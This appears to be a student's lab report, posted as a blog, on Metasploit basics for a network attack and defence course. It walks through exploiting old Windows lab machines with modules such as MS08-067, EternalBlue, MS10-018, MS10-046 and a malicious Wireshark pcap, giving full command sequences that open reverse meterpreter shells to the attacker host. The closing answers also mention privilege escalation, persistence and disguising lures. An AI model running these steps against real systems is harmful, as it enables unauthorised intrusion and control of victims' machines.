20184328yh《网络对抗技术》实验六:MSF基础应用

《网络对抗技术》实验六:MSF基础应用

20184328yh

目录

1.实践内容

 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
  1.一个主动攻击实践,尽量使用最新的类似漏洞; 
  2.一个针对浏览器的攻击,尽量使用最新的类似漏洞;
  3.一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
  4. 成功应用任何一个辅助模块。
5.使用2019以后的漏洞

2.实验原理
2.1 msf 模块说明
Exploit模块: 渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
Payload模块:在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
Encoder模块:在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
Auxiliary模块:能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
Post模块:支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
Nop模块:空字段模块
2.2msf常用漏洞利用命令

search name:用指定关键字搜索可以利用的漏洞模块
use exploit name:使用漏洞
show options:显示配置选项
set option name option:设置选项
show payloads:回链攻击载荷
show targets: 显示目标(os版本)
set TARGET target number:设置目标版本
exploit:开始漏洞攻击
sessions -l:列出会话
sessions -i id:选择会话
sessions -k id:结束会话
Ctrl+z:把会话放到后台
Ctrl+c:结束会话
show auxiliary:显示辅助模块
use auxiliary name :使用辅助模块
set option name option:设置选项
exploit:运行模块 


3.实践内容

3.1实验一:一个主动攻击实践(ms08_067、ms17_010)

攻击方式:ms17_010
靶机:Microsoft Windows 2000

  • MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行。
  • 靶机:Microsoft Windows 2000
  • 先获取靶机IP地址

  • 测试靶机是否可以ping通

  • 输入  nmap -sS -A --script=smb-vuln-ms08-067 -PO 靶机IP  查看靶机是否存在此漏洞

  •   sudo msfconsole  打开控制台、 search ms08-067  查看漏洞位置

  • use exploit/windows/smb/ms08_067_netapi 选择该漏洞
    set payload generic/shell_reverse_tcp 设置攻击的载荷
    set RHOSTS 靶机IP 设置靶机IP
    set LHOSTS kali的IP 设置攻击机IP
    exploit 进行攻击

  •  成功获取权限,输入ipconfig进行测试

攻击方式:ms17_010
靶机:Microsoft Windows 7 x64

  •  查看IP地址

  •  关闭防火墙

  •  在msf输入以下指令
    sudo  msfconsole 
    use auxiliary/scanner/smb/smb_ms17_010 选择攻击漏洞 
    set RHOSTS 靶机ip 输入靶机ip 
    exploit 对靶机扫描,看是否存在漏洞

  •  配置
    use exploit/windows/smb/ms17_010_eternalblue 选择该漏洞 
    set payload windows/x64/meterpreter/reverse_tcp 设置攻击的载荷 
    set RHOSTS 靶机IP //设置靶机IP
    set LHOSTS kali的IP //设置攻击机IP
    exploit //进行攻击

  •  输入ipconfig测试

 3.2实验二:一个针对浏览器的攻击(ms10_018、ms12_004

攻击方式:ms10_018

靶机:Microsoft Windows XP

  •  Internet Explorer 访问尚未正确初始化或已被删除的对象的方式中存在一个远程执行代码漏洞。 攻击者可以通过构建特制的网页来利用该漏洞。 当用户查看网页时,该漏洞可能允许远程执行代码。 成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。 如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户
  • 进入msf,search寻找ms10_018攻击模块

  •  使用第一个模块(use + 模块名称),设置Payload

  •  使用show options命令,查看需设置的参数

  •  设置参数

  •  运行后生成链接

  •  在WinXP系统用IE访问这个链接

  • kali成功获取shell

 

  •  之后就可以对该主机进行一些越权的操作了:可以对WinXP系统进行远程登录、可以在该主机放入木马文件、删除文件等。

攻击方式:ms12_004

靶机:Microsoft Windows XP

  • 进入msf,search寻找ms12_004攻击模块

 

 

 

  • 设置载荷,查看可配置的选项
  • set SRVHOST 192.168.153.129
    set LHOST 192.168.153.129
    set URIPATH /
    exploit

 

  •  在靶机访问生成的网址

 

  •  成功获取shell

3.3实验三:一个针对客户端的攻击(WireShark、快捷方式图标漏洞MS10-046)

攻击方式:WireShark1.4.2

靶机:Windows XP

  • 打开msf,输入:
  • use exploit/windows/fileformat/wireshark_packet_dect
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
    show options   //查看设置项
    set LHOST 192.168.153.129 //kali IP
    set LPORT 4328 //设置攻击端口
    set FILENAME yh.pcap //设置生成的pcap文件名
    exploit //发起攻击

  •  把生成的zwq.pcap拷贝到靶机中

  • 然后再回到kali输入以下代码
  • use exploit/multi/handler //进入监听模块
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
    set LHOST 192.168.153.129 //kali IP
    set LPORT 4328 //设置攻击端口
    exploit //监听

  • 在靶机中用wireshark打开拷贝的文件,回连成功

攻击方式:快捷方式图标漏洞——MS10-046

靶机:Windows XP

  • 打开msf,输入:
  • use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
    set SRVHOST 192.168.153.129
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.153.129
    exploit

  •  成功获取shell

3.4实验四:成功应用任何一个辅助模块(端口扫描、netbios、MS03_026)

攻击方式:端口扫描

靶机:Microsoft Windows XP

  • 打开msf输入以下代码
    • search portscan //查看可以扫什么端口
      use auxiliary/scanner/portscan/tcp // 选择tcp脚本
      set Rhosts 192.168.153.128//设置靶机IP
      set threads 20
      show options //看一下配置完
      run
  • 攻击方式:从netbios获取信息
  • 靶机:Microsoft Windows XP
  • 打开msf输入以下代码
  • use auxiliary/scanner/netbios/nbname 
    show options set Rhosts 192.168.153.128 //设置靶机IP exploit

攻击方式:MS03_026

靶机:Microsoft Windows 2000

  • 进入ms输入:
  • use exploit/windows/dcerpc/ms03_026_dcom //选择相应的漏洞模块
    set payload windows/meterpreter/reverse_tcp //tcp反向回连
    set LHOST 192.168.153.129 //攻击机ip
    set LPORT 135 //攻击端口
    set RHOST 192.168.153.139 //靶机ip
    set RPORT 135 
    run //启动

 

 3.5加分项:使用2019以后的漏洞(第一位提交)

 链接:20184328余昊 CVE-2019-0708复现


 

4.课后问题回答

4.1用自己的话解释什么是exploit,payload,encode?

    exploit是渗透攻击模块的名字,是Metasploit平台下的几大主要模块之一,它下面有大量针对各种漏洞编写的攻击工具。在平台里面设置好payload后往往要通过exploit或run来执行它,此时exploit就是执行的意思,把攻击代码注入到缓冲区当中。

    payload就是载荷,负载的东西的东西。在实验环境中它就是指一段指令或者说是shellcode,这段指令破解权限边界,起到了很关键的攻击作用。

    encode是指编码,对一段机器指令进行与运算,得到的结果是指令的伪装形式,使得shellcode改变形状。

4.2离实战还差什么技术或步骤?

  我觉得以我现在的水平去实战的话基本上是困难重重吧,因为实验中大部分都是老系统,漏洞容易攻击用的人很少,如果攻击win10,可能更加贴近实战吧

  (1)入侵后提权。当入侵靶机成功后,就要提高攻击方在靶机中的权限,没有权限基本什么都做不了,有了root权限可以想办法长期驻留在靶机中。

  (2)需要做好伪装。因为在实验中的生成文件和网页都是自己在靶机打开的,网页无内容,文件打开会导致wireshark无响应,很可疑,容易被发现,实战中就要想办法让对方主动的接受的话就需要做好伪装。

  (3)使用新的漏洞,新发布的漏洞如果还没有引起重视和修复,那应该可以提高攻击成功的概率。

 


 5.实践总结与体会

   通过本次实验,我感觉自己对于MSF的功能和用法和之前相比使用起来更加熟悉了,因为之前已经安装过各种版本的win虚拟机,所以这次还算比较轻松,本实验的关键和难点在于找到合适的、可攻击的漏洞和对应的靶机环境,如果虚拟机找不对的话,那攻击基本上很难成功,好在有很多的资料可以借鉴。在初步了解了这些漏洞之后,才发现其实哪怕自己使用最新的的系统也还存在许多的可攻击漏洞,只不过还没有被发现,那这些漏洞一旦被黑客利用呢?毕竟世界上没有完美的东西,人开发出来的系统不可能毫无破绽,所以还是比较矛盾的,一方面漏洞虽然可以打补丁可以升级,但是并不是每一个漏洞都能及时被发现,再者就是要提高自己对社会工程学攻击的警惕性吧,不然哪天自己的主机就变成靶机了。


 

posted @ 2021-05-08 11:51  20184328  阅读(80)  评论(0编辑  收藏  举报